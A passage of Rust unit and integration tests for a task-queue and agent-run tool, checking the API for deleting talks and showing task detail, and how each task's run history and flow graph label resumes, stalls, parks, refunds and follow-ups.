16885    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16886        let f = Fixture::start().await;
16887        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16888
16889        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16890        assert_eq!(deleted.status, 204, "{}", deleted.body);
16891
16892        let after = f.get(&format!("/api/talks/{id}")).await;
16893        assert_eq!(after.status, 404, "{}", after.body);
16894
16895        let listed = f.get("/api/talks").await.json();
16896        assert!(
16897            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16898            "a deleted talk must not linger in the list: {listed}"
16899        );
16900    }
16901
16902    #[tokio::test]
16903    async fn talk_delete_on_an_unknown_id_is_404() {
16904        let f = Fixture::start().await;
16905        let res = f.delete("/api/talks/nonexistent-id").await;
16906        assert_eq!(res.status, 404, "{}", res.body);
16907    }
16908
16909    /// A task's page lists every run it ever had, in order, and says what kind
16910    /// of attempt each was - including a resume, which re-pushes the same run
16911    /// id, and a run whose record this build cannot read.
16912    #[tokio::test]
16913    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16914        let f = Fixture::start().await;
16915        let (a, b, gone) = (
16916            "20260902-140501-aaaa",
16917            "20260902-140502-bbbb",
16918            "20260902-140503-cccc",
16919        );
16920        write_run(&f.runs(), a, RunStatus::Stalled);
16921        let mut review = RunState::new(
16922            PathBuf::from("/repo/magi"),
16923            "main".to_owned(),
16924            "0123456789abcdef".to_owned(),
16925            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16926                .to_owned(),
16927            Config::default(),
16928        );
16929        review.id = b.to_owned();
16930        review.status = RunStatus::Merged;
16931        write_state(&f.runs(), &review);
16932
16933        let mut task = Task::new(
16934            "retry".to_owned(),
16935            "Do the thing".to_owned(),
16936            PathBuf::from("/repo/magi"),
16937            Source::Human,
16938        );
16939        task.start(a.to_owned());
16940        task.stall("quota");
16941        task.start(a.to_owned());
16942        task.start(b.to_owned());
16943        task.start(gone.to_owned());
16944        // This fixture models an older queue file with repeated run entries.
16945        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16946        f.queue().put(&mut task).expect("file the task");
16947
16948        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16949        assert_eq!(res.status, 200, "{}", res.body);
16950        let v = res.json();
16951        let h = v["history"].as_array().expect("history");
16952        assert_eq!(h.len(), 4, "{v}");
16953        assert_eq!(h[0]["kind"], "competition");
16954        assert_eq!(h[0]["status"], "stalled");
16955        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16956        assert_eq!(h[1]["kind"], "resume", "{v}");
16957        assert!(
16958            h[0]["outcome"]
16959                .as_str()
16960                .unwrap()
16961                .contains("unknown. Pass #2"),
16962            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16963        );
16964        assert!(
16965            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16966            "{v}"
16967        );
16968        assert!(
16969            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16970            "an unrecorded cause must not be narrated as an operator park: {v}"
16971        );
16972        assert_eq!(h[2]["kind"], "review");
16973        assert!(
16974            h[2]["description"]
16975                .as_str()
16976                .unwrap()
16977                .contains("magi/aaaa/A")
16978        );
16979        assert_eq!(h[2]["status"], "merged");
16980        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16981        assert_eq!(v["runs_unreadable"], 1);
16982        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16983        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16984        assert_eq!(nodes[4]["note"], "unreadable");
16985        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16986        assert_eq!(v["instruction"], "Do the thing");
16987        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16988
16989        // The run's own page links back to the task.
16990        let run = f.get(&format!("/api/runs/{a}")).await.json();
16991        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16992
16993        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16994    }
16995
16996    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16997        let mut s = RunState::new(
16998            PathBuf::from("/repo/magi"),
16999            "main".to_owned(),
17000            "0123456789abcdef".to_owned(),
17001            "Do it".to_owned(),
17002            Config::default(),
17003        );
17004        s.status = status;
17005        edit(&mut s);
17006        s
17007    }
17008
17009    fn flow_task(runs: &[&str]) -> Task {
17010        let mut t = Task::new(
17011            "t".to_owned(),
17012            "Do it".to_owned(),
17013            PathBuf::from("/repo/magi"),
17014            Source::Human,
17015        );
17016        for r in runs {
17017            t.start((*r).to_owned());
17018        }
17019        // Synthetic flows without RunPass records model legacy queue data.
17020        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17021        t
17022    }
17023
17024    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17025        let h = task_history(task, |id| {
17026            states
17027                .iter()
17028                .find(|(i, _)| *i == id)
17029                .and_then(|(_, s)| s.clone())
17030        });
17031        task_flow(task, &h, 5, None)
17032    }
17033
17034    #[test]
17035    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17036        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17037        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17038        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17039        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17040        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17041        let run = flow_run(RunStatus::Implementing, |s| {
17042            s.created_at = created;
17043            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17044            s.passes[0].started_at = first;
17045            s.passes[1].started_at = resumed;
17046        });
17047        let mut task = flow_task(&[RUN_X, RUN_X]);
17048        task.created_at = queued;
17049        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17050        task.status = TaskStatus::Held;
17051        task.held_at = Some(held);
17052        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17053        assert_eq!(
17054            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17055            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17056        );
17057        assert!(flow.nodes.iter().all(|n| n.time_expected));
17058        let json = serde_json::to_value(&flow).unwrap();
17059        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17060        assert_eq!(json["nodes"][2]["time_expected"], true);
17061    }
17062
17063    #[test]
17064    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17065        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17066        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17067        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17068        // These timestamps are not the start of the current status.
17069        task.held_at = Some(created);
17070        task.blocked_at = Some(created);
17071        for status in [
17072            TaskStatus::Queued,
17073            TaskStatus::Running,
17074            TaskStatus::Blocked,
17075            TaskStatus::Done,
17076            TaskStatus::Failed,
17077            TaskStatus::Parked,
17078            TaskStatus::Held,
17079        ] {
17080            task.status = status;
17081            if status == TaskStatus::Held {
17082                task.held_at = None;
17083            }
17084            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17085            assert_eq!(flow.nodes[1].started_at, Some(created));
17086            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17087            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17088            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17089            let json = serde_json::to_value(&flow).unwrap();
17090            assert!(json["nodes"][3]["started_at"].is_null());
17091            assert_eq!(json["nodes"][3]["time_expected"], true);
17092        }
17093    }
17094
17095    #[test]
17096    fn flow_context_links_do_not_expect_start_times() {
17097        let mut task = flow_task(&[]);
17098        task.source = Source::Agent {
17099            run: "chat-id".to_owned(),
17100            node: "chat".to_owned(),
17101        };
17102        let origin = followup_origin(&fu(None), |_| None, |_| None);
17103        let flow = task_flow(&task, &[], 5, Some(&origin));
17104        for node in &flow.nodes[..2] {
17105            assert!(!node.time_expected);
17106            assert_eq!(node.started_at, None);
17107        }
17108        assert!(flow.nodes[2].time_expected);
17109    }
17110
17111    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17112        crate::queue::FollowUp {
17113            run: "20260901-000000-aaaa".to_owned(),
17114            origin_task: origin_task.map(str::to_owned),
17115            pr: "https://example.com/o/r/pull/1".to_owned(),
17116            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17117                .map(str::to_owned)
17118                .to_vec(),
17119            generation: 1,
17120        }
17121    }
17122
17123    fn parent_task() -> Task {
17124        let mut p = flow_task(&[]);
17125        p.title = "Parent title".to_owned();
17126        p.status = TaskStatus::Done;
17127        p
17128    }
17129
17130    #[test]
17131    fn flow_opens_with_the_parent_task_of_a_followup() {
17132        let p = parent_task();
17133        let pid = p.id.clone();
17134        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17135        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17136        let n = &f.nodes[0];
17137        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17138        assert_eq!(
17139            n.label,
17140            format!("Follow-up of {}", crate::queue::short(&pid))
17141        );
17142        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17143        assert_eq!(n.status, Some("done"));
17144        assert_eq!(n.status_of, "task");
17145        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17146        assert_eq!(f.nodes[1].key, "start");
17147        assert_eq!(f.edges[0].from, "origin");
17148        assert_eq!(
17149            f.edges[0].label,
17150            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17151        );
17152    }
17153
17154    #[test]
17155    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17156        let o = followup_origin(
17157            &fu(Some("gone")),
17158            |_| None,
17159            |_| {
17160                Some(RunState::new(
17161                    std::path::PathBuf::from("."),
17162                    "main".to_owned(),
17163                    "0".to_owned(),
17164                    "t".to_owned(),
17165                    crate::config::Config::default(),
17166                ))
17167            },
17168        );
17169        assert!(o.parent.is_none());
17170        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17171        let n = &f.nodes[0];
17172        assert_eq!(n.status_of, "run");
17173        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17174        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17175    }
17176
17177    #[test]
17178    fn flow_followup_with_nothing_readable_has_no_link() {
17179        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17180        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17181        let n = &f.nodes[0];
17182        assert_eq!(n.href, None);
17183        assert_eq!(n.note, Some("unreadable"));
17184        assert!(!n.readable);
17185    }
17186
17187    #[test]
17188    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17189        let o = followup_origin(&fu(None), |_| None, |_| None);
17190        let mut t = flow_task(&[]);
17191        t.origin_chat = Some("c1".to_owned());
17192        let f = task_flow(&t, &[], 5, Some(&o));
17193        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17194        t.source = Source::Agent {
17195            run: "c1".to_owned(),
17196            node: crate::queue::CHAT_NODE.to_owned(),
17197        };
17198        let f = task_flow(&t, &[], 5, Some(&o));
17199        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17200        assert_eq!(
17201            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17202            ("chat", "origin")
17203        );
17204    }
17205
17206    #[test]
17207    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17208        let mut p = parent_task();
17209        p.id = "a b/c".to_owned();
17210        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17211        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17212    }
17213
17214    #[test]
17215    fn flow_opens_with_the_chat_that_queued_the_task() {
17216        let mut t = flow_task(&[]);
17217        t.source = Source::Agent {
17218            run: "a b/c".to_owned(),
17219            node: crate::queue::CHAT_NODE.to_owned(),
17220        };
17221        let f = flow_for(&t, &[]);
17222        assert_eq!(f.nodes[0].key, "chat");
17223        assert_eq!(f.nodes[0].kind, "chat");
17224        assert_eq!(
17225            f.nodes[0].label,
17226            format!("Chat {}", crate::queue::short("a b/c"))
17227        );
17228        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17229        assert_eq!(f.nodes[1].key, "start");
17230        assert_eq!(
17231            f.edges[0],
17232            FlowEdge {
17233                from: "chat".to_owned(),
17234                to: "start".to_owned(),
17235                label: "queued from chat".to_owned(),
17236                attempt: AttemptCost::None,
17237            }
17238        );
17239    }
17240
17241    #[test]
17242    fn flow_has_no_chat_box_for_other_sources() {
17243        for source in [
17244            Source::Human,
17245            Source::Issue {
17246                number: 3,
17247                repo: "o/r".to_owned(),
17248            },
17249            Source::Agent {
17250                run: "20260904-014455-ab12".to_owned(),
17251                node: "implement".to_owned(),
17252            },
17253        ] {
17254            let mut t = flow_task(&[]);
17255            t.source = source;
17256            let f = flow_for(&t, &[]);
17257            assert_eq!(f.nodes[0].key, "start");
17258            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17259            assert!(f.edges.iter().all(|e| e.from != "chat"));
17260        }
17261    }
17262
17263    const FA: &str = "20260902-140501-aaaa";
17264    const FB: &str = "20260902-140502-bbbb";
17265
17266    #[test]
17267    fn flow_follows_blocked_retry_merged_to_done() {
17268        let mut t = flow_task(&[FA, FB]);
17269        t.status = TaskStatus::Done;
17270        let f = flow_for(
17271            &t,
17272            &[
17273                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17274                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17275            ],
17276        );
17277        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17278        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17279        assert_eq!(f.edges.len(), 3);
17280        assert_eq!(f.edges[0].label, "claimed");
17281        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17282        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17283        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17284        assert_eq!(
17285            f.nodes[2].href.as_deref(),
17286            Some("#/runs/20260902-140502-bbbb")
17287        );
17288        assert!(f.nodes[2].decided);
17289    }
17290
17291    #[test]
17292    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17293        let quota = || {
17294            flow_run(RunStatus::Stalled, |s| {
17295                s.quota.push(crate::run::QuotaLoss {
17296                    cause: crate::agent::QuotaCause::UsageLimit,
17297                    agent: String::new(),
17298                    seat: "judge-1".to_owned(),
17299                    node: "judge".to_owned(),
17300                    at: Timestamp::now(),
17301                    reset: None,
17302                })
17303            })
17304        };
17305        let mut t = flow_task(&[FA, FA]);
17306        t.status = TaskStatus::Queued;
17307        let f = flow_for(&t, &[(FA, Some(quota()))]);
17308        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17309        assert_eq!(f.nodes[1].note, Some("interrupted"));
17310        assert_eq!(
17311            f.nodes[1].status, None,
17312            "no outcome copied onto an earlier pass"
17313        );
17314        assert_eq!(
17315            f.edges[1].attempt,
17316            AttemptCost::Unknown,
17317            "a resume does not prove the earlier pass was refunded"
17318        );
17319        assert!(f.edges[1].label.contains("resume the same run"));
17320        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17321        assert_eq!(
17322            f.edges[2].label,
17323            "stalled after a resume, refund unknown \u{2192} queued"
17324        );
17325        assert!(!f.nodes[2].decided, "a stall is not a decision");
17326        assert_eq!(f.nodes[2].note, Some("no verdict"));
17327    }
17328
17329    #[test]
17330    fn flow_single_pass_quota_stall_is_refunded() {
17331        let t = flow_task(&[FA]);
17332        let f = flow_for(
17333            &t,
17334            &[(
17335                FA,
17336                Some(flow_run(RunStatus::Stalled, |s| {
17337                    s.quota.push(crate::run::QuotaLoss {
17338                        cause: crate::agent::QuotaCause::UsageLimit,
17339                        agent: String::new(),
17340                        seat: "judge-1".to_owned(),
17341                        node: "judge".to_owned(),
17342                        at: Timestamp::now(),
17343                        reset: None,
17344                    })
17345                })),
17346            )],
17347        );
17348        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17349    }
17350
17351    #[test]
17352    fn flow_parked_refunds_and_stall_without_quota_spends() {
17353        let mut t = flow_task(&[FA]);
17354        t.status = TaskStatus::Queued;
17355        let f = flow_for(
17356            &t,
17357            &[(
17358                FA,
17359                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17360            )],
17361        );
17362        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17363        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17364        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17365        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17366        assert!(!f.nodes[1].decided);
17367    }
17368
17369    #[test]
17370    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17371        let t = flow_task(&[FA, FB]);
17372        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17373        assert_eq!(f.nodes[1].note, Some("unreadable"));
17374        assert!(!f.nodes[1].readable);
17375        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17376        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17377    }
17378
17379    #[test]
17380    fn flow_names_the_branch_of_a_review_only_run() {
17381        let t = flow_task(&[FA]);
17382        let f = flow_for(
17383            &t,
17384            &[(
17385                FA,
17386                Some(flow_run(RunStatus::Merged, |s| {
17387                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17388                })),
17389            )],
17390        );
17391        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17392        assert_eq!(
17393            f.nodes[1].detail.as_deref(),
17394            Some("review-only run of branch magi/x/A")
17395        );
17396    }
17397
17398    #[test]
17399    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17400        let mut t = flow_task(&[FA]);
17401        t.status = TaskStatus::Held;
17402        let pr = crate::run::PrRecord {
17403            url: "https://example.test/pr/1".to_owned(),
17404            number: 1,
17405            state: "open".to_owned(),
17406            checks: "green".to_owned(),
17407            round: 0,
17408            rounds: 3,
17409            red_at_merge: Vec::new(),
17410        };
17411        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17412        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17413        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17414        t.status = TaskStatus::Done;
17415        let f = flow_for(&t, &[(FA, Some(blocked))]);
17416        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17417    }
17418
17419    #[test]
17420    fn flow_with_no_runs_goes_from_queued_to_queued() {
17421        let t = flow_task(&[]);
17422        let f = flow_for(&t, &[]);
17423        assert_eq!(f.nodes.len(), 2);
17424        assert_eq!(f.edges.len(), 1);
17425        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17426        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17427    }
17428
17429    /// A run parked mid-flight keeps a non-terminal status; the page must
17430    /// still say why it stopped and that the attempt came back.
17431    #[test]
17432    fn a_parked_non_terminal_run_is_explained_as_parked() {
17433        let mut s = RunState::new(
17434            PathBuf::from("/repo/magi"),
17435            "main".to_owned(),
17436            "0123456789abcdef".to_owned(),
17437            "Do it".to_owned(),
17438            Config::default(),
17439        );
17440        s.status = RunStatus::Implementing;
17441        s.parked = true;
17442        let task = Task::new(
17443            "t".to_owned(),
17444            "Do it".to_owned(),
17445            PathBuf::from("/repo/magi"),
17446            Source::Human,
17447        );
17448        let v = task_run_view(
17449            "20260902-140501-aaaa",
17450            Some(&s),
17451            RunSlot {
17452                n: 1,
17453                resumed: false,
17454                resumed_later: None,
17455                prior: None,
17456                last: true,
17457                ..RunSlot::default()
17458            },
17459            &task,
17460        );
17461        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17462    }
17463
17464    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17465        let mut s = flow_run(RunStatus::Implementing, edit);
17466        s.parked = false;
17467        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17468        task_run_view(
17469            "20260902-140501-aaaa",
17470            Some(&s),
17471            RunSlot {
17472                n: 1,
17473                resumed: false,
17474                resumed_later: Some(2),
17475                prior: None,
17476                last: false,
17477                ..RunSlot::default()
17478            },
17479            &task,
17480        )
17481    }
17482
17483    #[test]
17484    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17485        let v = earlier_pass_view(|_| {});
17486        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17487        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17488        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17489        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17490        assert_eq!(v.exit, RunExit::Interrupted);
17491        assert_eq!(v.attempt, AttemptCost::Unknown);
17492    }
17493
17494    #[test]
17495    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17496        let v = earlier_pass_view(|s| {
17497            s.quota.push(crate::run::QuotaLoss {
17498                cause: crate::agent::QuotaCause::UsageLimit,
17499                agent: String::new(),
17500                seat: "judge-1".to_owned(),
17501                node: "judge".to_owned(),
17502                at: Timestamp::now(),
17503                reset: None,
17504            });
17505        });
17506        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17507        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17508        assert_eq!(v.attempt, AttemptCost::Unknown);
17509    }
17510
17511    #[test]
17512    fn the_current_pass_states_its_recorded_cause_and_cost() {
17513        let slot = || RunSlot {
17514            n: 1,
17515            resumed: false,
17516            resumed_later: None,
17517            prior: None,
17518            last: true,
17519            ..RunSlot::default()
17520        };
17521        let task = flow_task(&["20260902-140501-aaaa"]);
17522        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17523        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17524        assert_eq!(
17525            (v.exit, v.attempt),
17526            (RunExit::Parked, AttemptCost::Refunded)
17527        );
17528        let spent = flow_run(RunStatus::Blocked, |_| {});
17529        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17530        assert_eq!(v.attempt, AttemptCost::Spent);
17531        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17532    }
17533
17534    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17535        crate::run::RunPass {
17536            index,
17537            started_at: Timestamp::now(),
17538            resumed: index > 0,
17539            ended_at: end.as_ref().map(|_| Timestamp::now()),
17540            end,
17541            task_entry: true,
17542        }
17543    }
17544
17545    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17546        Some(crate::run::PassEnd::Parked { cause })
17547    }
17548
17549    fn upgrade_cause() -> crate::run::ParkCause {
17550        crate::run::ParkCause::Upgrade {
17551            from: "0.121.0".to_owned(),
17552            to: Some("0.121.1".to_owned()),
17553        }
17554    }
17555
17556    fn settled_pass(
17557        run: &str,
17558        index: usize,
17559        cost: crate::queue::PassCost,
17560    ) -> crate::queue::TaskPass {
17561        crate::queue::TaskPass {
17562            run: run.to_owned(),
17563            pass_index: index,
17564            started_at: None,
17565            cost,
17566            attempts_after: 1,
17567            settled_at: Timestamp::now(),
17568            parked: None,
17569        }
17570    }
17571
17572    const RUN_X: &str = "20261011-223708-4334";
17573
17574    #[test]
17575    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17576        use crate::queue::PassCost;
17577        let run = flow_run(RunStatus::Implementing, |s| {
17578            s.passes = vec![
17579                recorded_pass(0, parked(upgrade_cause())),
17580                recorded_pass(1, None),
17581            ];
17582        });
17583        let mut task = flow_task(&[RUN_X, RUN_X]);
17584        task.attempts = 1;
17585        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17586        let h = task_history(&task, |_| Some(run.clone()));
17587        assert_eq!(h.len(), 2);
17588        assert_eq!(h[0].kind, "competition");
17589        assert_eq!(h[1].kind, "resume");
17590        assert_eq!(
17591            (h[0].exit, h[0].attempt),
17592            (RunExit::Parked, AttemptCost::Refunded)
17593        );
17594        assert!(
17595            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17596            "{}",
17597            h[0].outcome
17598        );
17599        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17600        assert!(
17601            h[0].outcome.contains("pass #2 resumed the same run"),
17602            "{}",
17603            h[0].outcome
17604        );
17605        assert!(
17606            h[0].outcome.contains("pass 1 of 2 over run"),
17607            "{}",
17608            h[0].outcome
17609        );
17610        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17611        assert_eq!(
17612            h[0].exit_label,
17613            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17614        );
17615        let f = task_flow(&task, &h, 2, None);
17616        // Two passes of one run, one of two attempts consumed.
17617        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17618        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17619        assert!(
17620            f.edges[1].label.contains("upgrade 0.121.0"),
17621            "{}",
17622            f.edges[1].label
17623        );
17624        assert!(
17625            f.edges[1].label.contains("resume the same run"),
17626            "{}",
17627            f.edges[1].label
17628        );
17629        assert_eq!(f.nodes[1].note, Some("parked"));
17630    }
17631
17632    #[test]
17633    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17634        let mut a = flow_run(RunStatus::Implementing, |s| {
17635            s.passes = vec![
17636                recorded_pass(0, parked(upgrade_cause())),
17637                recorded_pass(1, None),
17638            ];
17639        });
17640        let mut b = flow_run(RunStatus::Failed, |s| {
17641            s.passes = vec![recorded_pass(0, None)];
17642        });
17643        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17644        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17645        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17646        let mut task = flow_task(&[]);
17647        task.start("a".into());
17648        task.start("b".into());
17649        task.start("a".into());
17650        assert_eq!(task.runs, ["b", "a"]);
17651        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17652        let h = task_history(&task, |id| {
17653            Some(if id == "a" { a.clone() } else { b.clone() })
17654        });
17655        assert_eq!(
17656            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17657            ["a", "b", "a"]
17658        );
17659        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17660        assert!(h[0].outcome.contains("upgrade"));
17661        assert_eq!(h[2].kind, "resume");
17662        assert!(h[2].pass.is_some());
17663        // The old repeated-id format must show the same recorded passes.
17664        task.runs = vec!["a".into(), "b".into(), "a".into()];
17665        let old = task_history(&task, |id| {
17666            Some(if id == "a" { a.clone() } else { b.clone() })
17667        });
17668        assert_eq!(
17669            old.iter()
17670                .map(|v| (&v.id, &v.kind, v.attempt))
17671                .collect::<Vec<_>>(),
17672            h.iter()
17673                .map(|v| (&v.id, &v.kind, v.attempt))
17674                .collect::<Vec<_>>()
17675        );
17676    }
17677
17678    #[test]
17679    fn an_upgrade_whose_target_was_not_known_says_so() {
17680        let run = flow_run(RunStatus::Implementing, |s| {
17681            s.passes = vec![
17682                recorded_pass(
17683                    0,
17684                    parked(crate::run::ParkCause::Upgrade {
17685                        from: "0.121.0".to_owned(),
17686                        to: None,
17687                    }),
17688                ),
17689                recorded_pass(1, None),
17690            ];
17691        });
17692        let task = flow_task(&[RUN_X, RUN_X]);
17693        let h = task_history(&task, |_| Some(run.clone()));
17694        assert!(
17695            h[0].outcome.contains("upgrade from 0.121.0"),
17696            "{}",
17697            h[0].outcome
17698        );
17699        // No settle record: the refund is not claimed.
17700        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17701    }
17702
17703    #[test]
17704    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17705        use crate::queue::PassCost;
17706        use crate::run::ParkCause;
17707        let run = flow_run(RunStatus::Implementing, |s| {
17708            s.passes = vec![
17709                recorded_pass(0, parked(upgrade_cause())),
17710                recorded_pass(
17711                    1,
17712                    parked(ParkCause::Interrupt {
17713                        reason: "task a1b2 asked to run first".to_owned(),
17714                    }),
17715                ),
17716                recorded_pass(2, parked(ParkCause::Operator)),
17717                recorded_pass(3, None),
17718            ];
17719        });
17720        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17721        task.attempts = 1;
17722        task.passes = (0..3)
17723            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17724            .collect();
17725        let h = task_history(&task, |_| Some(run.clone()));
17726        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17727        assert!(
17728            h[1].outcome.contains("task a1b2 asked to run first"),
17729            "{}",
17730            h[1].outcome
17731        );
17732        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17733        assert!(
17734            h[2].outcome.contains("operator asked the loop to park"),
17735            "{}",
17736            h[2].outcome
17737        );
17738        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17739        let f = task_flow(&task, &h, 2, None);
17740        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17741    }
17742
17743    #[test]
17744    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17745        let run = flow_run(RunStatus::Implementing, |s| {
17746            s.passes = vec![
17747                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17748                recorded_pass(1, None),
17749            ];
17750        });
